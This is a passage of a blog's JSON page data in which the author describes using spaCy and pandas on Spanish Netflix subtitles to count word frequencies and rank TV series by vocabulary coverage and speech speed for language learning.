ilustre\u003c/td\u003e\n\u003ctd\u003e65.28%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Chapo\u003c/td\u003e\n\u003ctd\u003e66.68%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eNeruda\u003c/td\u003e\n\u003ctd\u003e66.89%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de papel\u003c/td\u003e\n\u003ctd\u003e67.56%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Ministerio del Tiempo\u003c/td\u003e\n\u003ctd\u003e68.03%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eClub de Cuervos\u003c/td\u003e\n\u003ctd\u003e68.19%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003e68.47%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eIngobernable\u003c/td\u003e\n\u003ctd\u003e68.59%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003ePablo Escobar\u003c/td\u003e\n\u003ctd\u003e70.20%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eFariña\u003c/td\u003e\n\u003ctd\u003e70.95\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Reina del Sur\u003c/td\u003e\n\u003ctd\u003e71.52%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eGran Hotel\u003c/td\u003e\n\u003ctd\u003e73.15%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLas chicas del cable\u003c/td\u003e\n\u003ctd\u003e73.58%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eÉlite\u003c/td\u003e\n\u003ctd\u003e73.78%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Piloto\u003c/td\u003e\n\u003ctd\u003e74.03%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl bar\u003c/td\u003e\n\u003ctd\u003e74.07%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de las flores\u003c/td\u003e\n\u003ctd\u003e75.40%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eTarde para la ira\u003c/td\u003e\n\u003ctd\u003e75.59%\u003c/td\u003e\n\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eBut living in Puerto Rico, one thing I've realized is speed of speech is also important.  I have a much easier time speaking with people from Colombia and Mexico than I do with Puerto Ricans because they speak so much faster.   So even though I could understand 75% of \"Tarde para la ira\" if I learned the 200 words, I want to make sure they are speaking at a pace I could understand as well.\u003c/p\u003e\n\u003cp\u003eSo I loaded up the other CSV file that was the full sentences and added a \"time per word\" column:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentences = pd.read_csv('sentences.csv.gz', compression='gzip', delimiter=',', parse_dates=['start', 'end'])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentences['total_time'] = (sentences['end'] - sentences['start']).dt.total_seconds()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentences['word_count'] = sentences['sentence'].str.split().str.len()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentences['time_per_word'] = sentences['total_time'] / sentences['word_count']\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen I was able to have a speed rating for each show:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentence_group = sentences.groupby([sentences.media])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentence_group.time_per_word.mean().reset_index().sort_values('time_per_word')\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003emedia\u003c/th\u003e\n\u003cth\u003etime_per_word\u003c/th\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eGran Hotel\u003c/td\u003e\n\u003ctd\u003e0.58\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Chapo\u003c/td\u003e\n\u003ctd\u003e0.59\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLas chicas del cable\u003c/td\u003e\n\u003ctd\u003e0.61\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eÉlite\u003c/td\u003e\n\u003ctd\u003e0.63\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eIngobernable\u003c/td\u003e\n\u003ctd\u003e0.64\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Ministerio del Tiempo\u003c/td\u003e\n\u003ctd\u003e0.64\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eFariña\u003c/td\u003e\n\u003ctd\u003e0.65\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl ciudadano ilustre\u003c/td\u003e\n\u003ctd\u003e0.67\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eNeruda\u003c/td\u003e\n\u003ctd\u003e0.68\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Piloto\u003c/td\u003e\n\u003ctd\u003e0.69\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de papel\u003c/td\u003e\n\u003ctd\u003e0.70\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl bar\u003c/td\u003e\n\u003ctd\u003e0.70\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eVerónica\u003c/td\u003e\n\u003ctd\u003e0.72\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Reina del Sur\u003c/td\u003e\n\u003ctd\u003e0.75\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eClub de Cuervos\u003c/td\u003e\n\u003ctd\u003e0.76\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003e0.76\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003ePablo Escobar\u003c/td\u003e\n\u003ctd\u003e0.77\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eTarde para la ira\u003c/td\u003e\n\u003ctd\u003e0.77\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de las flores\u003c/td\u003e\n\u003ctd\u003e0.81\u003c/td\u003e\n\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eLuckily the two series that have the least amount of vocabulary also speak the slowest!   So these will be the series I start with.    The final question I wanted to answer is \"What are the top words I'm missing for a series\".    Since I'll know 75% of the series from the top 200 words, I'm hoping there are some top words from a specific series that I can also learn to get an even higher understanding.\u003c/p\u003e\n\u003cp\u003eFirst, find which words are in each show but not in the top 200:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emissing_words_by_show = {}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efor show_name in words['media'].drop_duplicates().values:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    words_in_show = (words[words.media == show_name].groupby(words.word).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    frequency_words = grouped_result['word'][:200]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    missing_words = words_in_show[~words_in_show.word.isin(frequency_words.values)]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    missing_words_by_show[show_name] = missing_words\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen we were able to grab them per show:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emissing_words_by_show['La casa de las flores'].head(50)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eword\tcount\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e31\tmamá\t252\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e70\tflorería\t87\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e98\tperdón\t56\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e102\tsea\t54\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e116\tademás\t44\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e126\tahorita\t40\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e132\tcárcel\t38\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e133\tfiesta\t38\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo adding those few words to my vocabulary will also give me a better understanding of the series.\u003c/p\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003eI believe a data-driven approach to language learning will be an effective way to get me speaking better spanish.   It was a ton of fun to play with spaCy, pandas, and jupyter as well!\u003c/p\u003e\n\u003cp\u003eI'll improve the data analysis over time as well but I do believe this is a pretty good starting point!\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/meme.png\"\u003e\n\u003c/center\u003e","category":"Development","date":"2022-04-29T19:00:00-05:00","tags":["Python","Pandas","NLP"],"title":"How to speak spanish like a colombian drug lord!"}]},"NLP":{"count":1,"posts":[{"id":["2022","learning_spanish"],"path":"2022/learning_spanish","contentHtml":"\u003cp\u003eI've been living in Puerto Rico for 4 years but two of those have been COVID and so I haven't been able to practice Spanish as much as I'd like. So to speed up my learning I've decided I want to watch a lot of spanish speaking television to start training my ears, but to do this I need a baseline of words I understand to be able to even know what they are saying!\u003c/p\u003e\n\u003cp\u003eLearning through apps like Duolingo, Drops, etc start with weird topics like vegetables that don't get you to a very good baseline for actually understanding daily conversations, so I think consuming TV is a better use of my time.\u003c/p\u003e\n\u003ch2\u003eSubtitles\u003c/h2\u003e\n\u003cp\u003eI've decided the way to understand what the best words to study are is to download every subtitle for every episode of a show I want to watch and then count each word.  The more a word is spoken the more important it is for me to know it since I'll be hearing it a lot in the show.\u003c/p\u003e\n\u003cp\u003eI'm going to download subtitles from Netflix. Subtitles in Netflix are in WebVTT format, which looks like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e248\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:17:58.285 --\u003e 00:18:01.163  position:50.00%,middle  align:middle size:80.00%  line:79.33% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eYo de verdad espero que ustedes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eme vean como una amiga, ¿mmm?\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e249\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:18:01.247 --\u003e 00:18:02.539  position:50.00%,middle  align:middle size:80.00%  line:84.67% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eNo como una madrastra.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e250\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:18:04.250 --\u003e 00:18:06.127  position:50.00%,middle  align:middle size:80.00%  line:84.67% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eYo nunca te vi como una madrastra.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIt gives you a start time, end time, and the text on the screen.   So my first process was parsing this format and just turning it into a list of words using https://github.com/glut23/webvtt-py.\u003c/p\u003e\n\u003ch3\u003eDummy parsing\u003c/h3\u003e\n\u003cp\u003eWhat I basically did was \u003ccode\u003etext.split(\" \")\u003c/code\u003e and started counting the words.   This approach was quick and painless but it had a few downs falls.    Some words \u003cem\u003elook\u003c/em\u003e the same when in reality they are not and so this meant I'd have to study every meaning of a word even if it was more rare.\u003c/p\u003e\n\u003cp\u003eAn example of this is the word \"como\", you can say:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eHaz como te digo: \"Do as I say\", where como means \"as\"\u003c/li\u003e\n\u003cli\u003ecomo tacos todos los dias: \"I eat tacos every day\", where como is a conjugated form of the verb \"to eat\"\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI need to know which version of a word is being used so I can count it properly.\u003c/p\u003e\n\u003ch3\u003eRegular Expressions are always the answer\u003c/h3\u003e\n\u003cp\u003eI couldn't figure out what the word was without it being in a complete sentence, but subtitles are fragments.   They are split up into timings for displaying on the screen but they don't include entire sentences.  For example, it might look like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e23\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:01:21.960 --\u003e 00:01:23.520  position:50.00%,middle  align:middle size:80.00%  line:84.67% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eSolo las que luchan por ellos\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e24\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:01:23.680 --\u003e 00:01:25.680  position:50.00%,middle  align:middle size:80.00%  line:84.67% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003econsiguen sus sueños.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI want to detect the start of a sentence and the end of a sentence and then combine it, so that you end up with \"Solo las que luchan por ellos consiguen sus sueños.\".   My first thought was a regular expression on punctuation.   This worked well \u003cem\u003emost\u003c/em\u003e of the time but there were enough exceptions to the rule that it broke often on generated a lot of broken sentences:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAbbreviations like \"EE. UU\" for estados unidos (united states)\u003c/li\u003e\n\u003cli\u003eEllipsis\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSplitting on spaces also didn't work for identifying the parts of speech since I needed the context around the word.\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/regex-extraction.png\"\u003e\n\u003c/center\u003e\n\u003ch2\u003eNatural Language Processing\u003c/h2\u003e\n\u003cp\u003eSo to solve my pain I decided to grab https://spacy.io/ and do some NLP on the subtitles so that I could identify the proper parts of speech and get an accurate representation of the words I needed to learn.\u003c/p\u003e\n\u003cp\u003eThe way spaCy works is you can send it a sentence and it'll return you a set of tokens:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003e\u003e\u003e import spacy\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003e\u003e\u003e nlp = spacy.load(\"es_core_news_sm\")\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003e\u003e\u003e [x.pos_ for x in nlp(\"Hola, como estas?\")]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e['PROPN', 'PUNCT', 'SCONJ', 'PRON', 'PUNCT']\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo now I could identify the parts of speech and pull sentences together through end of sentence punctation.   The first thing I did was generate a CSV of sentences that looked like this:\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003esentence\u003c/th\u003e\n\u003cth\u003estart\u003c/th\u003e\n\u003cth\u003eend\u003c/th\u003e\n\u003cth\u003eshow\u003c/th\u003e\n\u003cth\u003efile\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSi no, le voy a cortar todos los deditos\u003c/td\u003e\n\u003ctd\u003e00:00:20.605\u003c/td\u003e\n\u003ctd\u003e00:00:24.125\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eOnce I had a CSV of sentences I could send those back through spaCy for NLP and then start counting words, to generate another CSV:\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003eword\u003c/th\u003e\n\u003cth\u003epos\u003c/th\u003e\n\u003cth\u003eshow\u003c/th\u003e\n\u003cth\u003efile\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ea\u003c/td\u003e\n\u003ctd\u003eADP\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecortar\u003c/td\u003e\n\u003ctd\u003eVERB\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003etodos\u003c/td\u003e\n\u003ctd\u003ePRON\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eFrom there I had all the data I needed!   So now it was time to start doing some data analysis!\u003c/p\u003e\n\u003ch2\u003eData analysis\u003c/h2\u003e\n\u003cp\u003eUsing a jupyter notebook ( https://jupyter.org/ ) I grabbed pandas ( https://pandas.pydata.org/ ) and read in my CSVs to start analyzing the results.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport numpy as np\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport pandas as pd\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport matplotlib.pyplot as plt\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003epd.set_option('display.max_rows', 1000)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ewords = pd.read_csv('word_data.csv.gz', compression='gzip', delimiter=',')\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe words dataframe is built up out of the second table I showed above with just words and their parts of speech.   I started off grouping the dataset by the word so I could get a count for how many times it was spoken in every series I parsed:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egrouped_result = (words.groupby(words.word).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egrouped_result.head(300)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich returned a list of words and their count:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\tword\tcount\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e0\tque\t94430\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e1\tno\t75931\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e2\ta\t70968\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e3\tde\t67982\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e4\tser\t64226\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e5\tla\t52143\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e6\ty\t44390\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e7\testar\t37819\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e8\tel\t35920\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow I wanted to identify where my diminishing returns would be.   Is there a set of words that I must learn because they are spoken so often that I wouldn't understand a conversation if they weren't in my vocabulary?\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_returns.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eAs you can see in this chart, the usage for words drops off at around the ~200 mark.   So there are basically 150 words I \u003cem\u003emust\u003c/em\u003e know and then the rest are equally important.   I wasn't quite happy with this because some parts of speech are higher priority than others, for example I think having a strong understanding of the popular verbs will go a long way.  So I also wanted to identify what are the most important verbs to learn:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egrouped_verbs = (words[words.pos == 'VERB'].groupby(['word', 'pos']).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   